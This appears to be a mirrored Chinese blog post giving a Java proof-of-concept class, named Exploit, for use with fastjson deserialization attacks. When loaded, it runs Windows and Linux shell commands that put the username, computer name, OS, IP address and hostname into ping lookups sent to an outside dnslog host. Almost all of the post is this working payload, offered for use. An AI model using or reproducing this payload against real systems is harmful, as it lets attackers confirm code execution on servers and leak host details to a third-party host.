zoukankan      html  css  js  c++  java
  • fastjson ping外带信息poc

    public class Exploit {
        public Exploit(){
            String base_url = ".egpkd5.dnslog.cn"; //你的dnslog地址
            String win_dnslog = "windows" + base_url;
            // windows
            try{
                String[] commands = { "cmd", "/c", "ping username.%username%." + win_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            try{
                String[] commands = { "cmd", "/c", "ping computername.%computername%." + win_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            try{
                String[] commands = { "cmd", "/c", "ping os.%os%." + win_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            
            
            // linux
            String linux_dnslog = "linux" + base_url;
            try{
    
                String[] commands = { "/bin/sh", "-c", "ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk -F: '{print $2}'|awk '{ gsub(/\./,"-"); print $0 }'`." + linux_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            try{
                String[] commands = { "/bin/sh", "-c", "ping ip.`ifconfig eth0|grep 'inet '|awk '{ print $2}'|awk '{ gsub(/\./,"-"); print $0 }'`." + linux_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            try{
                String[] commands = { "/bin/sh", "-c", "ping hostname.`cat /proc/sys/kernel/hostname`." + linux_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
            try{
                String[] commands = { "/bin/sh", "-c", "ping user.`whoami`." + linux_dnslog};
                Runtime.getRuntime().exec(commands);
            }catch(Exception e){
                // e.printStackTrace();
            }
        }
        public static void main(String[] args){
            Exploit e = new Exploit();
        }
    }
    
  • 相关阅读:
    Vue的基本使用
    django中的跨表查询梳理
    docker安装及配置
    大数据分析(一)探索性分析
    搜索引擎-一种提示词推荐算法
    shell变量详解
    机器学习之寻找KMeans的最优K
    大数据系统之监控系统(二)Flume的扩展
    大数据系统之监控系统(一)
    大数据系统之系统设计
  • 原文地址:https://www.cnblogs.com/huim/p/12000884.html
Copyright © 2011-2022 走看看